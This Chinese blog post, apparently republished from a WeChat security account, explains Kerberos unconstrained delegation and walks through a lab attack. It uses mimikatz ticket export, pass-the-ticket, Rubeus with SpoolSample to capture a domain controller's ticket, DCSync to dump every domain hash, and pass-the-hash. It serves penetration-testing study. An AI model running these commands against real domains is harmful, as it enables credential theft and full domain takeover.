在第一章里，第一句话同时也是第一个问题：何为Kerberos与委派？为什么Windows域会需要Kerberos与委派？
何为Kerberos与委派，我在一到三章已经写清楚了。
现在我要来回答我曾经所问的另外一个问题
为什么Windows域会需要委派？
首先是现有需求，再有功能。委派即是Windows域的功能。
那为什么不直接服务服务，再转发给用户呢？
因为要充分利用 Windows 系统自身提供的权限控制啊，也许有的用户有权限访问那个服务而有的用户没有权限。
即Windows域为什么会需要委派。
首先根据委派功能，把委派分为非约束委派/约束委派/基于资源的约束委派。
首先来探讨一下非约束攻击
流程如下：
用户向KDC请求可转发TGT，记为TGT1KDC返回TGT1用户通过TGT1向KDC请求转发TGT2KDC返回TGT2用户通过TGT1向KDC申请访问服务1的RSTKDC返回RST用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1服务1通过用户的TGT2请求KDC，以用户名义请求服务2的RST（服务访问票据）KDC给服务1返回服务2的RST服务1以用户名义向服务2发出请求服务2响应服务1的请求服务1响应用户第7步骤的请求
这个流程有一个问题：TGT2是不被限制的，服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点，使用从高权限账户处得到的TGT去获取权限。
域环境：
域：dayu.com域控：2008r2 -2012r2dc域成员：win10ltsc -user0pc
域控
dir \user0pc.dayu.comc$
win10本地管理员抓取TGT
.mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
导入tgt
.mimikatz.exe "kerberos::ptt [0;319a0e][email protected]" exit
通过ipc$访问域控，访问成功
dir \2012r2dc.dayu.comc$
域管向KDC请求可转发TGT，记为TGT1KDC返回TGT1域管通过TGT1向KDC请求转发TGT2KDC返回TGT2域管通过TGT1向KDC申请访问win10的RSTKDC返回RST域管发送RST、TGT1、TGT2和TGT2的SessionKey给win10win10通过域管的TGT2请求KDC，以域管名义请求本地ipc$的RST（服务访问票据）KDC给win10返回本地ipc$的RSTwin10以域管名义向本地ipc$发出请求本地ipc$响应win10的请求win10响应域管第7步骤的请求
.Rubeus.exe monitor /targetuser:2012r2dc$ /interval:1 /nowrap
切换到域账户运行
.SpoolSample.exe 2012r2dc.dayu.com user0pc.dayu.com
导入票据
.Rubeus.exe ptt /ticket:
mimikatz抓取票据
.mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
mimikatz导出域内所有用户的hash
.mimikatz.exe "lsadump::dcsync /domain:dayu.com /all /csv" exit
此时抓取到的hash为域管的hash，直接通过PTH远控域管。
之前导出的hash是mimikatz利用tgt从域控导出的hash，即导出的是域内全部用户的hash。
之前的
域控添加一个新用户
再次导出
（之前把密码都设的一样，不知道导出的本地管理员还是域管的hash，所以我改了一下域管的密码，现在看来，这个命令是导出域内用户的hash）
• 往期精选
下方点击关注发现更多精彩！
原文始发于微信公众号（银河护卫队super）：内网安全-Windows域渗透-Kerberos委派（四）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论